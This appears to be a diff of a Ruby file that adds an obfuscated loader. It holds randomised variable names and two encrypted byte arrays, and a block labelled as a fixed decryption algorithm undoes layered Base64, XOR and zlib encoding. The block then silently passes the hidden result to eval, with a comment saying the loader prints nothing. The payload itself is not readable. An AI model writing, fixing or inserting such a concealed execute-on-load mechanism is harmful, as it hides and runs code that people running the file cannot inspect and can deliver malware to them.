_lf9f646 = [48, 68, 131, 130, 161, 39, 196, 168, 30, 17, 97, 106, 135, 163, 168, 26, 173, 212, 133, 192, 57, 213, 90, 127, 248, 57, 113, 149, 158, 154, 65, 158, 11, 59, 39, 2, 33, 207, 225, 249, 12, 218, 194, 96, 36, 128, 111, 171, 139, 60, 23, 28, 163, 64, 23, 110, 222, 138, 209, 21, 49, 17, 190, 20, 227, 114, 238, 200, 144, 108, 47, 1, 239, 131, 187, 107, 137, 118, 207, 119, 206, 142, 93, 197, 173, 99, 137, 96, 176, 121, 67, 207, 87, 80, 253, 130, 152, 44, 224, 62, 172, 127, 90, 255, 253, 206, 120, 172, 67, 232, 43, 245, 189, 2, 164, 159, 240, 186, 31, 237, 107, 229, 3, 249, 79, 154, 58, 225, 163, 173, 216, 26, 139, 108, 40, 141, 157, 136, 22, 12, 11, 95, 205]
|
|
65
|
+
_d91f08c = [181, 205, 100, 108, 167, 216, 119, 202, 148, 225, 13, 185, 108, 80, 97, 101, 51, 6, 22, 89, 127, 255, 24, 44, 126, 66, 96, 123, 58, 160, 212, 253, 145, 31, 40, 157, 16, 62, 131, 176, 204, 24, 186, 7, 177, 213, 29, 233, 80, 213, 154, 159, 90, 225, 194, 181, 184, 86, 40, 47, 138, 241, 49, 136, 187, 248, 211, 199, 151, 27, 104, 20, 116, 138, 1, 126, 58, 182, 165, 159, 30, 50, 172, 90, 2, 208, 126, 170, 76, 111, 66, 237, 208, 239, 105, 226, 145, 244, 130, 21, 200, 37, 136, 113, 189, 139, 160, 193, 205, 162]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _lda04c7.call(_o63a5a7, _c5d5347, _r2fca2d, _a95cbd1)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_w4a31e1 = _o63a5a7.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_g8ef136|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_vc0135c = 5 - _g8ef136 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_g1099e9 = 4
|
|
84
|
+
_d87ec9c = _vc0135c * _g1099e9
|
|
85
|
+
_r902ebd = _r2fca2d[_d87ec9c, _g1099e9]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _c5d5347[_vc0135c] == 1
|
|
93
|
+
_n528af3 = _w4a31e1.pack('C*')
|
|
94
|
+
_n528af3 = Base64.strict_decode64(_n528af3)
|
|
95
|
+
_w4a31e1 = _n528af3.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_w4a31e1 = _r5fa420.call(_w4a31e1, _r902ebd)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_n528af3 = _w4a31e1.pack('C*')
|
|
103
|
+
_n528af3 = Zlib::Inflate.inflate(_n528af3)
|
|
104
|
+
_w4a31e1 = _n528af3.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_g173469 = _w4a31e1.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _g173469.strip.empty? || _g173469.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_g173469, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _gb3d07b
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_gb3d07b.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|